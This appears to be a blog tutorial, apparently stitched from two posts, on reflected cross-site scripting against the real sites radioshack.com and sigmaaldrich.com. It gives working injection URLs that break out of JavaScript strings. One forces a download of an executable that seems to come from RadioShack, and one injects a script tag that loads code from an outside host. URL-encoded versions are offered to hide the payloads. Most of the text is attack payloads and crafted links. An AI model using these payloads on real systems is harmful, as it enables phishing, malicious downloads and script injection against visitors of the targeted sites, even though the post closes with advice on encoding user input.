    var s_server='www.radioshack.com';
    var s_hier1='';
    var s_eVar19='67340647933';
    var s_channel='Home';
    var s_eVar3='testA.,:;\'"<>()[]{}';
    var s_pageName='Search (internal)';

Because we have access to the single quote character, we can easily inject code here. Consider what would happen if we passed in ';var x=' as the keyword.

    var s_account='gsicrsk';
    var s_server='www.radioshack.com';
    var s_hier1='';
    var s_eVar19='67340647933';
    var s_channel='Home';
    var s_eVar3='';var x='';
    var s_pageName='Search (internal)';

At this point we can write any javascript we want between the ; and v provided we don't use any of the encoded characters. As an example of what can be done with this, we can craft a URL that redirects to a download making it seem as is if it's coming from www.radioshack.com.

http://www.radioshack.com/search/noResults.jsp?kw=';window.location='http://download.winzip.com/wzd/winzip120.exe';var x='

And again we can URL encode the payload.

http://www.radioshack.com/search/noResults.jsp?kw=%27%3B%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%64%6F%77%6E%6C%6F%61%64%2E%77%69%6E%7A%69%70%2E%63%6F%6D%2F%77%7A%64%2F%77%69%6E%7A%69%70%31%32%30%2E%65%78%65%27%3B%76%61%72%20%78%3D%27

XSS 101 - SigmaAldrich.com

The target of my first post will be www.sigmaaldrich.com, the website of international chemical supplier Sigma-Aldrich. First take a look at the website itself and look for an input whose data may be displayed on the page after postback.



Fortunately for us, sigmaaldrich.com has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string:

testA.,:;\'"<>()[]{}

After searching for the string, view the source of the results page and search for testA within the code. The first result should look like the javascript below.

cmCreatePageviewTag("Result Page: Product Results","SS6", "Keyword (fulltext)|testA.,:;\'"<>()[]{}|", "2"); 

Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.

That Match Your Search for "testA.,:;\'"<>()[]{}"

We're still free of encoding, and with this instance of the search string we can easily inject an HTML script tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.

<script type='text/javascript' src='http://www.yourdomain.com/test.js'></script>

Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.

Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:

http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&N3=mode+matchpartialmax&N4=<script type='text/javascript' src='http://www.yourdomain.com/test.js'></script>


When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.



To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:

http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&N3=%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%72%64%6F%6D%61%69%6E%2E%63%6F%6D%2F%74%65%73%74%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E


And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.